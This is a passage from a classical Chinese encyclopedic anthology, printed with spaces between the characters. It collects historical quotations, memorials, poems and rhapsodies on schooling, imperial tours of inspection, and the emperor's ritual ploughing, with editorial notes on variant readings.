德 宜 光 . 先 民 既 没 . 赖 兹 旧 章 . 我 礼 既 经 . 我 乐 既 馨 . 三 事 不 叙 . 莫 识 其 形 .\n魏 陈 王 曹 植 学 宫 颂 曰 . 自 五 帝 典 绝 . 三 王 礼 废 . 应 期 命 世 . 齐 贤 等 圣 者 . 莫 高 于 孔 子 也 . 故 有 若 曰 . 出 乎 其 类 . 拔 乎 其 萃 . 诚 所 谓 性 与 天 道 . 不 可 得 而 闻 矣 . 由 也 务 学 . 名 在 前 志 . 宰 予 昼 寝 . 粪 土 作 诫 . 过 庭 之 言 . 子 弟 明 记 . 歌 以 咏 言 . 文 以 骋 志 . 予 今 不 述 . 后 贤 曷 识 . 于 铄 尼 父 . 生 民 之 杰 . 性 与 天 成 . 该 圣 备 艺 . 德 伦 三 五 . 配 皇 作 烈 . 玄 镜 独 鉴 . 神 明 昭 晰 . 仁 塞 宇 宙 . 志 陵 云 霓 . 学 者 三 千 . 莫 不 俊 乂 . 唯 仁 可 凭 . 唯 道 足 恃 . 钻 仰 弥 高 . 请 益 不 已 .\n【 志 】 魏 王 粲 荆 州 文 学 记 官 志 曰 . 有 汉 荆 州 牧 曰 刘 君 . 称 曰 . 于 先 王 为 世 也 . 则 象 天 地 . 轨 仪 宪 极 . 设 教 导 化 . 叙 经 志 业 . 用 建 雍 泮 焉 . 立 师 保 焉 . 作 为 礼 乐 . 以 节 其 性 . 表 陈 载 籍 . 以 特 其 德 . 上 知 所 以 临 下 . 下 知 所 以 事 上 . 官 不 失 守 . 民 德 无 悖 . 然 后 太 阶 平 焉 . 夫 文 学 也 者 . 人 伦 之 首 . 大 教 之 本 也 . 乃 命 五 业 从 事 宋 哀 . ○ 当 作 衷 . 新 作 文 学 . 延 朋 徒 焉 . 宣 德 音 以 赞 之 . 降 嘉 礼 以 劝 之 . 五 载 之 闲 . 道 化 大 行 . 耆 德 故 老 綦 母 阖 等 . 负 书 荷 器 . 自 远 而 至 者 . 三 百 有 余 人 . 于 是 童 幼 猛 进 . 武 人 革 面 . 总 角 佩 觿 . 委 介 免 胄 . 比 肩 继 踵 . 川 逝 泉 涌 . 亹 亹 如 也 . 兢 兢 如 也 . 遂 训 六 经 . 讲 礼 物 . 谐 八 音 . 协 律 吕 . 修 纪 历 . 理 刑 法 . 六 略 咸 秩 . 百 氏 备 矣 . 天 降 纯 嘏 . 有 所 底 授 . 臻 于 我 君 . 受 命 既 茂 . 南 牧 是 建 . 荆 衡 作 守 . 时 迈 淳 德 . 宣 其 丕 繇 . 厥 繇 伊 何 . 四 国 交 阻 . 乃 赫 斯 威 . 爰 整 其 旅 . 虔 夷 不 若 . 屡 戡 寇 侮 . 诞 启 洪 轨 . 敦 崇 圣 绪 . 典 坟 既 章 . 礼 乐 咸 举 . 济 济 搢 绅 . 盛 兹 阶 宇 . 祁 祁 髦 俊 . 亦 集 爰 处 . 和 化 普 畅 . 休 征 时 叙 . 品 物 宣 育 . 百 谷 繁 芜 . 勋 格 皇 穹 . 声 被 四 宇 .\n【 铭 】 后 汉 李 尤 太 学 铭 曰 . 汉 遵 礼 典 . 崇 兴 六 艺 . 修 周 之 理 . 埽 秦 之 弊 . 褒 建 儒 宫 . 广 置 异 记 . 开 延 学 者 . 劝 以 爵 位 .\n【 诏 】 宋 傅 亮 立 学 诏 曰 . 古 之 建 国 . 教 学 为 先 . 弘 风 训 世 . 莫 尚 于 此 . 发 蒙 启 滞 . 咸 必 由 之 . 故 爰 自 盛 王 . 迄 于 近 代 . 莫 不 敦 崇 学 艺 . 修 建 庠 序 . 自 昔 多 故 . 戎 马 在 郊 . 旌 旗 卷 舒 . 日 不 暇 给 . 遂 令 学 校 荒 芜 . 讲 诵 蔑 闻 . 军 旅 日 陈 . 俎 豆 藏 器 . 训 诱 之 风 . 将 坠 于 地 . 今 王 略 远 覃 . 华 域 清 晏 . 仰 风 之 士 . 日 月 以 冀 . 便 宜 博 延 胄 子 . 陶 奖 童 蒙 . 选 被 儒 宫 . 弘 振 国 学 .\n【 表 】 宋 郑 鲜 之 请 立 学 表 曰 . 至 于 洙 泗 之 教 . 洋 洋 盈 耳 . 所 以 柔 渐 性 情 . 日 用 成 器 . 国 废 胄 子 之 教 . 家 弛 劝 学 之 训 . 宜 振 起 颓 业 . 以 回 视 听 . 接 光 太 阳 . 烛 之 幽 夜 . 令 欣 流 者 济 津 . 怀 宝 者 剖 和 .\n梁 简 文 帝 求 宁 国 临 城 二 公 入 学 表 曰 . 臣 闻 瞻 彼 缉 孤 . 既 次 良 冶 . 相 诸 笋 玉 . 犹 符 他 山 . 故 沮 涣 之 水 可 居 . 邹 鲁 之 乡 为 贵 . 下 帷 投 斧 . 昔 人 以 为 精 力 . 弃 竿 委 麦 . 先 哲 以 为 美 谈 . 伏 惟 陛 下 . 弘 至 德 之 微 言 . 阐 无 为 之 妙 说 . 语 郊 讲 道 . 不 劳 贾 生 之 议 . 就 阳 启 位 . 无 待 公 玉 之 图 . 愿 得 齿 年 国 胄 . 随 肩 选 造 .\n梁 元 帝 请 于 州 立 学 校 表 曰 . 臣 闻 公 宫 之 南 . 四 术 四 教 . 司 乐 成 均 . 六 诗 六 律 . 韶 濩 既 舞 . 羽 籥 之 道 行 焉 . 党 塾 兹 备 . 离 经 之 志 辩 焉 . 故 不 升 嵩 霍 . 岂 识 干 行 之 峻 . 不 临 溟 渤 . 安 知 地 载 之 厚 . 洎 乎 秦 焚 金 篆 . 周 亡 玉 镜 . 群 言 争 乱 . 诸 子 相 腾 . 书 则 夏 侯 欧 阳 . 易 则 神 输 道 训 . 诗 乃 齐 鲁 毛 韩 . 传 称 邹 左 张 夹 . 礼 有 曲 台 王 史 之 异 . 乐 有 龙 德 赵 定 之 殊 . 伏 惟 陛 下 . 抚 五 辰 而 建 五 长 . 播 九 德 而 导 九 州 . 容 成 为 历 . 兴 景 云 之 瑞 . 伶 伦 吹 律 . 应 黄 钟 之 琯 . 拨 乱 反 正 . 经 武 也 . 制 礼 作 乐 . 纬 文 也 . 若 非 六 经 庖 厨 . 百 家 异 馔 . 三 坟 为 瑚 琏 . 五 典 为 笙 簧 . 岂 能 暴 以 秋 阳 . 纡 就 望 之 景 . 濯 以 江 汉 . 播 垂 天 之 泽 .\n【 启 】 梁 王 僧 孺 为 萧 监 利 求 入 学 启 曰 . 窃 以 矫 首 伺 飞 . 不 如 修 弋 . 宛 足 念 远 . 莫 若 驱 . 故 朴 斫 成 于 丹 雘 . 篠 簜 资 于 栝 羽 . 敢 因 莩 末 . 有 志 庠 均 . 为 山 资 于 一 篑 . 学 海 渐 其 微 流 .\n梁 任 昉 求 为 刘 瓛 立 馆 启 曰 . 昔 在 魏 中 . 爰 及 晋 始 . 书 贵 虚 玄 . 人 悦 陶 纵 . 瑚 琏 废 泗 上 之 容 . 樽 俎 恣 林 下 之 适 . 春 干 秋 羽 . 委 旷 而 弗 陈 . 西 序 东 胶 . 寂 寥 而 谁 仰 . 所 以 金 鸡 忘 晓 . 玉 羊 失 驭 . 神 器 毁 于 獯 戎 . 宝 历 迁 于 干 越 . 岂 不 悲 欤 . 刘 瓛 澡 身 浴 德 . 修 行 明 经 . 贱 珪 璧 于 光 阴 . 竟 松 筠 于 岁 晚 . 贫 不 陨 获 其 心 . 穷 不 二 三 其 操 . 而 困 无 居 止 . 浮 寓 亲 游 . 垣 栋 倾 钻 . 窐 衢 垫 侧 . 有 朋 自 远 . 无 用 栖 凭 . 皆 负 笈 担 簦 . 栉 风 沐 露 . 瓛 之 器 学 . 无 谢 前 修 . 辄 欲 与 之 周 旋 . 开 馆 招 屈 . 臣 第 西 遍 . 官 有 闲 地 . 北 拒 晋 山 . 南 望 通 邑 . 虽 曰 人 境 . 实 少 浮 喧 . 广 轮 裁 盈 数 亩 . 布 以 施 立 黉 塾 . 薄 艺 桑 麻 . 粗 创 茨 宇 .\n【 教 】 晋 湛 方 生 修 学 校 教 曰 . 贵 郡 之 境 . 山 秀 水 清 . 岭 举 云 霞 之 摽 . 泽 流 清 旷 之 气 . 荆 蓝 之 璞 . 岂 不 在 兹 .\n梁 元 帝 召 学 生 教 曰 . 合 下 . 昔 楚 王 好 诗 . 沛 王 传 易 .\n犹 且 传 之 不 朽 . 以 为 盛 事 . 况 吾 亲 承 天 旨 . 闻 礼 闻 诗 .\n方 欲 化 行 南 国 . 被 于 西 楚 .\n又 曰 . 凡 学 . 春 官 释 奠 于 先 师 . 秋 冬 亦 如 之 . 释 奠 即 舍 菜 . 舍 菜 即 祭 菜 . 然 则 国 子 入 学 . 以 苹 蘩 告 诚 . 祀 其 师 . 以 示 敬 道 也 . 菜 芹 之 属 .\n又 曰 . 天 子 乃 献 羔 开 冰 . 先 荐 寝 庙 . 上 丁 . 命 乐 正 习 舞 . 天 子 乃 率 公 卿 . 亲 往 视 之 . 注 云 . 乐 官 之 长 也 . 命 舞 者 . 顺 万 物 始 出 地 鼓 舞 也 . 将 舞 . 必 释 奠 于 先 师 .\n夏 小 正 月 . ○ 按 当 作 曰 . 二 月 丁 亥 . 方 . ○ 大 戴 记 夏 小 正 作 万 . 此 当 作 万 . 用 日 . ○ 夏 小 正 作 用 入 学 . 此 有 讹 脱 . 丁 亥 者 . 吉 日 也 . 万 者 . 干 戚 舞 也 . 学 者 . 大 学 也 .\n晋 博 士 戴 邈 议 曰 . 周 礼 大 胥 之 职 . 掌 国 子 之 版 . 以 待 致 诸 子 . 春 入 学 . 舍 采 合 舞 . 秋 颁 学 . 合 声 .\n晋 范 坚 书 问 冯 怀 曰 . 汉 代 以 来 . 释 奠 先 师 . 唯 飨 仲 尼 . 不 及 公 旦 . 何 也 . 冯 答 曰 . 若 如 来 之 谈 . 亦 当 宪 章 尧 舜 文 武 . 岂 唯 周 公 乎 .\n【 诗 】 宋 颜 延 之 侍 皇 太 子 释 奠 宴 诗 曰 . 伊 昔 周 储 . 聿 光 往 记 . 思 皇 世 哲 . 体 元 作 嗣 . 资 此 夙 知 . 降 从 轻 志 . 正 殿 张 筵 . 司 分 简 日 . 尚 度 函 丈 . 承 疑 奉 帙 . 献 终 袭 吉 . 即 宫 广 宴 . 堂 设 象 筵 . 庭 宿 金 悬 . 台 保 兼 徽 . 皇 戚 比 音 . 肴 干 酒 澄 . 端 服 整 弁 .\n齐 竟 陵 王 萧 子 良 侍 皇 太 子 释 奠 宴 诗 曰 . 霜 轻 流 日 . 风 送 夕 云 . 雕 檐 结 彩 . 绮 井 生 文 . 四 琏 合 旨 . 八 簋 舒 芬 .\n齐 王 俭 侍 皇 太 子 释 奠 宴 诗 曰 . 礼 惟 国 干 . 义 实 民 端 . 身 由 业 澡 . 世 以 教 安 . 金 镕 乃 器 . 水 术 伊 澜 . 渐 芳 则 馥 . 履 冰 固 寒 . 瞽 宗 务 时 . 頖 宫 善 诱 . 咨 此 含 生 . 跻 彼 仁 寿 . 淳 移 雅 缺 . 历 兹 永 久 . 游 艺 莫 师 . 独 学 谁 友 . 三 兆 戒 辰 . 八 鸾 警 旦 . 礼 迈 仁 周 . 乐 超 英 汉 . 神 保 爰 格 . 祝 史 斯 赞 .\n梁 任 昉 侍 皇 太 子 释 奠 宴 诗 曰 . 在 昔 归 运 . 阻 乱 弘 多 . 夷 山 制 宇 . 荡 海 为 家 . 风 云 改 族 . 日 月 增 华 . 惟 神 知 化 . 在 物 立 言 . 乐 正 雅 颂 . 咸 被 后 昆 . 告 奠 明 祀 . 观 道 圣 门 . 日 月 不 息 . 师 表 常 尊 .\n梁 沈 约 侍 皇 太 子 释 奠 宴 诗 曰 . 复 礼 曲 台 . 反 乐 宣 榭 . 阙 文 内 举 . 輶 轩 外 驾 . 结 朋 千 里 . 从 师 百 舍 . 队 典 必 从 . 阙 祀 咸 荐 . 回 銮 献 爵 . 摐 金 委 奠 . 肆 士 辩 仪 . 胥 人 掌 县 . 髣 佛 神 踪 . 徘 徊 灵 睠 .\n又 为 南 郡 王 侍 太 子 释 奠 宴 诗 曰 . 陵 季 相 沿 . 训 随 世 殆 . 政 缺 雅 乖 . 风 离 化 改 . 礼 亡 衽 席 . 乐 沉 河 海 . 三 雍 靡 构 . 四 教 谁 采 . 瞻 震 并 峻 . 义 属 重 丽 . 横 书 清 道 . 晦 彼 生 知 .\n【 颂 】 晋 傅 咸 皇 太 子 释 奠 颂 曰 . 生 而 知 之 . 上 于 皇 储 . 以 能 而 问 . 处 实 若 虚 . 爰 雕 圣 章 . 玉 采 是 敷 . 乃 备 嘉 荐 . 于 国 之 雍 . 敬 享 先 师 . 以 畴 圣 功 .\n晋 潘 尼 释 奠 颂 曰 . 三 光 迭 运 . 五 德 代 微 . 黄 精 既 冗 . 素 灵 乃 晖 . 有 皇 承 天 . 造 我 晋 畿 . 祚 以 大 宝 . 登 以 龙 飞 . 圣 容 穆 穆 . 侍 讲 訚 訚 . 抽 演 微 言 . 启 发 道 真 . 采 幽 穷 赜 . 温 故 知 新 . 曰 皇 储 后 . 体 神 含 几 . 兆 吉 先 见 . 知 来 动 微 .\n【 文 】 晋 庾 亮 释 奠 祭 孔 子 文 曰 . 维 咸 康 三 年 . 荆 豫 州 刺 史 都 亭 侯 庾 亮 . 敬 告 孔 圣 明 灵 . 诗 书 焕 于 唐 虞 . 宪 章 盛 于 文 武 . 然 后 黎 民 时 雍 . 彝 伦 攸 叙 . 幽 厉 颓 构 . 玉 绳 绝 纪 . 高 岸 为 谷 . 六 合 错 否 . 上 凌 夷 而 失 教 . 下 苟 免 而 无 耻 . 公 以 玄 圣 之 灵 . 应 感 圆 通 . 万 物 我 赖 . 匪 我 求 蒙 . 夫 子 既 没 . 洪 范 乖 流 . 秦 虽 慢 道 . 汉 聿 孔 修 . 洎 我 皇 晋 . 仰 钦 大 猷 . 宗 圣 既 建 . 遐 胄 俾 侯 . 令 月 吉 辰 . 祗 陈 大 礼 . 磬 管 锵 锵 . 威 仪 济 济 . 嘉 奠 既 设 . 钦 若 灵 规 . 心 存 凤 德 . 尚 想 来 仪 . 神 其 歆 之 . 降 鉴 在 斯 .\n梁 元 帝 释 奠 祭 孔 子 文 曰 . 粤 若 宗 师 . 猗 欤 乃 圣 . 惟 岳 降 神 . 惟 天 所 命 . 上 善 如 水 . 至 人 若 镜 .\n又 祭 颜 子 文 曰 . 钦 哉 体 一 . 恶 彼 至 人 . 乍 分 介 石 . 时 知 落 鳞 . 不 先 称 宝 . 席 上 为 珍 . 致 虚 守 静 . 曲 巷 安 贫 . 钦 风 味 道 . 其 德 有 邻 .\n梁 陆 倕 释 奠 祭 孔 子 文 曰 . 于 惟 上 德 . 是 曰 圣 真 . 克 明\n克 俊 . 知 化 穷 神 . 研 几 善 诱 . 藏 用 显 仁 . 利 同 道 济 . 成\n俗 教 民 . 道 尊 功 倍 . 德 博 化 光 . 离 经 辨 志 . 济 济 洋 洋 .\n又 曰 . ○ 按 此 礼 记 王 制 文 . 天 子 五 年 一 巡 守 . 二 月 东 巡 守 . 至 于 岱 宗 . 柴 而 望 祀 山 川 . 觐 诸 侯 . 问 百 年 者 . 就 见 之 . 命 太 师 陈 诗 . 以 观 民 风 . 命 市 纳 贾 . 以 观 民 之 好 恶 .\n易 曰 . 先 王 以 省 方 . 观 民 设 教 .\n尚 书 曰 . 岁 二 月 . 东 巡 守 . 至 于 岱 宗 . 柴 .\n传 曰 . 天 子 非 展 义 不 巡 守 . 注 云 . 巡 守 所 以 布 德 展 义 .\n周 礼 曰 . 职 方 氏 . 掌 天 下 之 图 . 王 巡 守 . 则 戒 于 四 方 . 考 职 事 . 无 不 敬 戒 .\n风 俗 通 曰 . 巡 者 . 循 也 . 守 者 . 守 也 . 道 德 太 平 . 恐 远 近 不 同 化 . 幽 隐 有 不 得 所 者 . 故 自 躬 亲 行 之 .\n白 虎 通 曰 . 巡 守 所 以 时 出 何 . 当 承 宗 庙 . 故 不 逾 也 . 以 夏 之 中 月 . 同 律 度 . 得 其 中 也 .\n越 绝 书 曰 . 禹 巡 守 大 越 . 见 耆 老 . 纳 诗 书 . 审 铨 衡 . 平 斗 斛 .\n汉 书 曰 . 元 封 五 年 冬 . 行 南 巡 . 至 于 盛 唐 . 望 祠 虞 舜 于 九 疑 . 登 天 柱 山 . 自 寻 阳 浮 江 . 亲 射 蛟 江 中 . 获 之 . 舳 舻 千 里 . 薄 枞 阳 而 出 . 作 盛 唐 枞 阳 之 歌 .\n东 观 汉 记 曰 . 章 帝 东 巡 . 至 岱 宗 . 祀 五 帝 于 汶 上 .\n黄 帝 太 一 察 ○ 初 学 记 十 三 . 太 平 御 览 五 百 三 十 七 作 密 . 推 曰 . 欲 先 知 巡 之 年 . 当 视 太 一 与 白 ○ 初 学 记 . 御 览 作 天 目 . 在 四 维 之 岁 . 为 狩 .\n蔡 邕 独 断 曰 . 巡 守 校 猎 还 . 公 卿 以 下 陈 雒 阳 亭 前 街 . 上 乘 舆 到 . 公 卿 以 下 拜 . 天 子 下 车 . 公 卿 亲 识 颜 色 . 然 后 还 宫 . 古 语 曰 . 在 宫 惟 下 . 唯 此 时 施 行 .\n挚 虞 新 礼 仪 曰 . 魏 元 氏 巡 守 故 事 新 礼 . 守 方 岳 . 柴 望 告 至 . 设 . ○ 明 本 作 壝 . 下 同 . 诸 侯 之 觐 者 乃 挚 . 皆 如 仪 . 而 不 建 旗 . 臣 虞 谨 按 . 觐 礼 天 子 各 建 其 旗 . 旗 章 所 以 殊 爵 命 . 视 等 威 也 . 诗 称 君 子 至 止 . 言 观 其 旗 . 宜 定 新 礼 . 建 旗 如 旧 .\n三 齐 略 记 曰 . 尧 山 在 广 固 城 西 七 里 . 尧 巡 守 所 登 . 遂 以 为 名 . 山 顶 立 祠 . 祠 边 有 柏 树 . 枯 而 复 生 . 不 知 几 代 树 也 .\n【 诗 】 隋 虞 世 基 和 幸 江 都 尉 ○ 文 苑 英 华 作 虞 世 南 和 幸 江 都 尉 诗 . 诗 曰 . 南 国 行 周 化 . 稽 山 秘 夏 图 . 百 王 岂 殊 轨 . 千 载 协 前 谋 . 肆 觐 遵 时 豫 . 顺 动 悦 来 苏 . 安 流 进 玉 舳 . 戒 道 翼 金 吾 . 龙 旗 焕 辰 象 . 凤 吹 溢 川 涂 . 封 唐 昔 敷 锡 . 分 陕 被 荆 吴 . 沐 道 咸 知 让 . 慕 义 久 成 都 . 冬 律 初 飞 管 . 阳 乌 正 衔 芦 . 严 飙 肃 林 薄 . 暖 景 澹 江 湖 . 鸿 私 浃 幽 远 . 厚 泽 润 凋 枯 . 虞 琴 起 歌 咏 . 汉 筑 动 巴 歈 . 多 幸 沾 行 苇 . 无 庸 类 散 樗 .\n又 曰 . ○ 初 学 记 十 三 作 虞 茂 奉 和 幸 江 都 应 诏 诗 . 巡 游 光 帝 典 . 征 吉 乃 文 先 . 泽 国 翔 宸 驾 . 水 府 泛 楼 船 . 七 华 萦 长 薄 . 三 翼 亘 通 川 . 夙 兴 大 昕 始 . 求 衣 昧 旦 前 . 澄 澜 浮 晓 色 . 遥 林 卷 宿 烟 . 晨 霞 稍 含 景 . 落 月 渐 亏 弦 . 回 塘 响 歌 吹 . 极 浦 望 旌 旃 . 方 陪 觐 东 后 . 登 封 禅 肃 然 .\n【 赋 】 汉 杨 雄 甘 泉 赋 曰 . 孝 成 帝 时 . 客 有 荐 雄 文 似 相 如 者 . 上 方 祀 甘 泉 泰 畤 . 雄 从 上 甘 泉 . 故 述 斯 赋 . 惟 汉 十 世 . 将 郊 上 玄 . 乃 命 群 僚 . 星 陈 而 天 行 . 诏 招 摇 与 太 阴 兮 . 伏 钩 陈 使 当 兵 . 八 神 奔 而 警 跸 兮 . 飞 蒙 茸 而 走 陆 梁 . 猋 骇 云 迅 . 奋 以 方 攘 . 半 散 照 烂 . 粲 以 成 章 . 于 是 帅 尔 阴 闭 . 霅 然 阳 开 . 流 星 旄 以 电 烛 兮 . 咸 翠 盖 而 鸾 旗 . 临 高 衍 之 嵱 嵷 . 超 纡 谲 之 清 澄 . 据 軨 轩 而 周 流 . 忽 軮 轧 而 无 垠 . 翠 玉 树 之 青 葱 . 璧 马 犀 之 璘 . 历 倒 景 而 绝 飞 梁 . 浮 蠛 蠓 而 撇 天 . 曳 虹 彩 之 流 离 . 飏 翠 气 之 宛 延 . 排 玉 户 而 飏 金 铺 . 发 兰 蕙 与 芎 藭 . 靡 薜 荔 而 为 席 . 折 琼 枝 以 为 芳 . 吸 青 云 之 流 霞 . 饮 若 木 之 露 英 . 集 乎 礼 神 之 囿 . 登 乎 颂 祇 之 堂 . 攀 琁 玑 而 下 视 . 行 游 目 乎 三 危 . 玉 女 亡 所 眺 其 清 ● . 宓 妃 曾 不 得 施 其 蛾 眉 . 于 是 钦 柴 宗 祈 . 燎 薰 皇 天 . 樵 蒸 焜 上 . 配 藜 四 施 . 选 巫 咸 兮 叫 帝 阍 . 开 天 庭 兮 延 群 神 . 由 是 事 毕 功 弘 . 回 车 而 归 . 登 长 平 兮 雷 鼓 磕 . 度 三 蛮 兮 偈 棠 灾 . 云 飞 扬 兮 雨 雱 霈 . 于 胥 德 兮 丽 万 世 . 乱 曰 . 崇 崇 圜 丘 . 隆 隐 天 兮 . 增 宫 参 差 . 骈 嵯 峨 兮 . 上 天 之 縡 . 杳 旭 卉 兮 . 圣 皇 穆 穆 . 信 厥 对 兮 . 来 祗 郊 禋 . 神 所 依 兮 . 辉 光 炫 燿 . 降 厥 福 兮 . 子 子 孙 孙 . 长 无 极 兮 .\n又 幸 河 东 赋 曰 . 其 三 月 . 将 祭 后 土 . 上 乃 帅 群 臣 . 横 大 河 . 凑 汾 阴 . 既 祭 毕 . 登 历 观 . 陟 西 岳 . 以 望 八 荒 . 迹 殷 周 之 墟 . 眇 然 以 思 唐 虞 之 风 . 雄 以 为 临 川 羡 鱼 . 不 如 归 而 结 网 . 还 . 上 河 东 赋 以 劝 . 其 辞 曰 . 伊 年 暮 春 . 将 瘗 后 土 . 礼 灵 祇 . 谒 汾 阴 于 东 郊 . 乃 抚 翠 凤 之 驾 . 驰 光 影 之 乘 . 桌 奔 星 之 流 旃 . 攫 天 狼 之 威 弧 . 奋 电 鞭 . 骖 雷 辎 . 鸣 洪 钟 . 建 逐 旗 . 羲 和 司 日 . 颜 伦 奉 舆 . 乐 往 昔 之 遗 风 . 喜 虞 舜 之 所 耕 . 瞰 帝 唐 之 嵩 高 兮 . 盻 隆 周 之 大 宁 . 叱 风 伯 于 南 北 . 呵 雨 师 于 西 东 . 参 天 地 而 独 立 . 廓 荡 荡 其 无 双 .\n【 颂 】 后 汉 班 固 东 巡 颂 曰 . 窃 见 巡 狩 岱 宗 . 上 稽 帝 尧 . 中 述 世 宗 . 遵 奉 世 祖 . 礼 仪 备 具 . 动 自 圣 心 . 是 以 明 神 屡 应 . 休 征 仍 降 . 不 胜 狂 简 之 情 . 谨 上 岱 宗 颂 一 篇 曰 . 若 稽 古 在 汉 迪 哲 . 聿 修 厥 德 . 宪 章 丕 烈 . 翿 六 龙 . 较 五 辂 . 齐 百 僚 . 陶 质 素 . 命 南 重 以 司 历 . 厥 中 月 之 六 辰 . 备 天 官 之 列 卫 . 盛 舆 服 而 东 巡 .\n又 南 巡 颂 曰 . 惟 汉 再 命 . 系 叶 十 一 . 帝 典 协 景 . 和 则 天 经 . 郊 高 宗 . 光 六 幽 . 通 神 明 . 既 禘 祖 于 西 都 . 又 将 祫 于 南 庭 . 是 时 圣 上 运 天 官 之 法 驾 . 凭 列 宿 而 赞 元 .\n后 汉 崔 骃 东 巡 颂 曰 . 伊 汉 中 兴 三 叶 . 于 皇 惟 烈 . 允 迪 厥 伦 . 矩 坤 度 以 范 物 . 规 干 则 以 陶 钧 . 于 是 考 上 帝 以 质 中 . 总 列 宿 于 北 辰 . 开 太 微 . 敞 禁 庭 . 延 儒 林 以 谘 询 岱 岳 之 事 . 于 时 典 司 耆 耇 . 载 华 抱 实 . 逌 尔 而 造 曰 . 盛 乎 大 汉 . 世 增 其 德 . 此 神 人 之 所 庶 ○ 初 学 记 十 三 作 庆 . 幸 . 海 内 之 所 想 思 . 颂 有 乔 山 之 征 . 典 有 徂 岳 之 巡 . 时 迈 其 邦 . 民 斯 攸 勤 . 不 亦 宜 哉 . 乃 命 太 仆 . 训 六 驺 . 闲 路 马 . 戒 师 徒 . 于 是 乘 舆 登 天 灵 之 威 路 . 驾 太 一 之 象 车 . 升 九 龙 之 华 旗 . 建 扫 霓 之 旌 旄 . 裒 胡 耇 之 元 老 . 赏 孝 行 之 畯 农 .\n后 汉 马 融 东 巡 颂 曰 . 允 迪 在 昔 . 绍 烈 陶 唐 . 殷 天 衷 . 充 摇 光 . 若 时 则 . 运 琼 衡 . 敷 六 典 . 经 八 成 . 肆 类 乎 上 帝 . 实 柴 乎 三 辰 . 禋 祀 乎 六 宗 . 祗 燎 乎 群 神 . 遂 发 号 群 司 . 申 戒 百 工 . 卜 筮 称 吉 . 蓍 龟 袭 从 . 南 征 □ □ . 冯 相 告 祥 . 清 夷 道 而 后 行 . 曜 四 国 而 扬 光 . 展 圣 义 于 巡 狩 . 喜 圻 畤 而 咏 八 荒 . 指 宗 岳 以 为 期 . 固 岱 神 之 所 望 . 散 斋 既 毕 . 越 翼 良 辰 . 棫 槱 增 构 . 烈 火 燔 燃 . 晖 光 四 炀 . 焱 烂 薄 天 . 萧 香 肆 升 . 青 烟 冒 云 . 珪 璋 峨 峨 . 牺 牲 洁 纯 . 郁 鬯 宗 彝 . 明 水 玄 樽 . 空 桑 孤 竹 . 咸 池 云 门 . 六 八 匝 变 . 神 祇 并 存 .\n【 诰 】 后 汉 张 衡 东 巡 诰 曰 . 惟 二 月 初 吉 . 帝 将 狩 于 岱\n岳 . 展 义 省 方 . 观 民 设 教 . 率 群 宾 . 备 法 驾 . 以 祖 于 东\n门 . 届 于 灵 宫 . 是 日 也 . 有 凤 双 集 于 台 . 壬 辰 . 祀 上 帝\n于 明 堂 . 帝 曰 . 咨 予 不 材 . 为 天 地 主 . 栗 栗 翘 翘 . 百 僚\n万 机 . 心 之 谓 矣 . 孰 朕 之 劳 . 上 帝 有 灵 . 不 替 朕 命 . 诞\n敢 不 祗 承 . 凡 庶 与 祭 于 坛 墠 之 位 者 曰 . 怀 尔 邦 君 . 寔 愿\n先 帝 . 载 厥 太 宗 . 以 左 右 朕 躬 . 群 臣 曰 . 帝 道 横 被 . 旁\n行 海 表 . 一 人 有 韪 . 万 民 赖 之 . 从 巡 助 祭 者 . 兹 惟 嘉 瑞\n. 乃 歌 曰 . 皇 皇 者 凤 . 通 玄 知 时 . 萃 于 山 趾 . 与 帝 邀 期\n. 吉 事 有 祥 . 惟 汉 之 祺 . 帝 曰 . 朕 不 敢 当 . 亦 不 敢 蔽 天\n之 吉 命 .\n毛 诗 曰 . 载 芟 . 春 籍 田 而 祈 社 稷 也 .\n周 官 曰 . 上 春 . 诏 王 后 帅 六 宫 之 人 . 而 生 穜 稑 之 种 . 而 献 之 于 王 .\n又 曰 . 甸 师 . 率 其 属 而 耕 耨 王 籍 . 以 时 入 之 . 以 供 粢 盛 .\n礼 记 曰 . 孟 春 之 月 . 天 子 乃 以 元 日 . 祈 谷 于 上 帝 . 天 子 亲 载 耒 耜 . 帅 三 公 九 卿 . 诸 侯 大 夫 . 躬 耕 帝 籍 . 天 子 三 推 . 三 公 五 推 . 卿 诸 侯 九 推 . 庶 人 终 亩 . 反 . 乃 执 爵 于 太 寝 . 命 曰 劳 酒 .\n又 曰 . 天 子 耕 于 南 郊 . 诸 侯 于 东 郊 .\n又 曰 . 天 子 为 籍 千 亩 . 冕 而 朱 纮 . 躬 执 耒 . 以 事 天 地 山 川 . 以 为 醴 酪 粢 盛 . 于 是 乎 取 之 . 敬 之 至 也 . 诸 侯 百 亩 . 冕 而 青 纮 .\n梁 五 礼 籍 田 仪 注 曰 . 其 田 东 去 宫 八 里 . 远 十 六 里 . 为 千 亩 . 天 子 耒 耜 一 具 . 九 卿 耒 耜 九 具 . 立 方 坛 . 以 祠 先 农 .\n应 劭 汉 官 仪 曰 . 天 子 升 坛 . 公 卿 耕 讫 . 啬 夫 下 种 . 籍 田 千 亩 . 亦 曰 帝 籍 . 亦 曰 亲 耕 . 亦 曰 王 籍 .\n又 曰 . 东 耕 之 日 . 亲 率 公 卿 . 戴 青 帻 . 载 青 车 . 驾 苍 马 . 公 卿 以 下 . 车 驾 如 常 法 .\n五 经 要 义 曰 . 天 子 籍 田 千 亩 . 孟 冬 启 蛰 . 既 郊 之 后 . 率 公 卿 大 夫 而 亲 耕 焉 . 所 以 先 百 姓 而 致 孝 敬 .\n国 语 曰 . 宣 王 即 位 . 不 籍 千 亩 . 虢 文 公 谏 曰 . 夫 民 之 大 事 在 农 . 上 帝 之 粢 盛 . 于 是 乎 出 . 民 之 蕃 庶 . 于 是 乎 生 . 先 时 九 日 . 太 史 告 稷 曰 . 阳 气 俱 蒸 . 土 膏 其 动 . 稷 ○ 原 作 即 . 据 冯 校 本 改 . 以 告 王 . 王 即 御 事 . 王 耕 一 拨 . 班 三 之 . 庶 人 终 乎 千 亩 . 王 不 听 . 师 败 于 姜 戎 也 .\n论 衡 曰 . 立 春 东 耕 . 为 土 象 人 . 男 女 各 二 . 执 耒 锄 钱 . 或 立 土 牛 . 象 人 土 牛 未 毕 而 耕 也 . 从 气 应 时 . 示 帅 下 也 .\n汉 书 文 帝 诏 曰 . 夫 农 天 下 之 本 . 其 籍 田 . 朕 亲 率 耕 . 以 给 宗 庙 粢 盛 .\n东 观 汉 记 曰 . 永 平 十 三 年 二 月 . 耕 籍 田 毕 . 赐 观 者 食 . 有 一 诸 生 前 言 . 善 哉 文 王 之 遇 太 公 也 . 上 书 版 曰 . 生 非 太 公 . 予 亦 非 文 王 .\n【 诗 】 宋 颜 延 之 侍 东 耕 诗 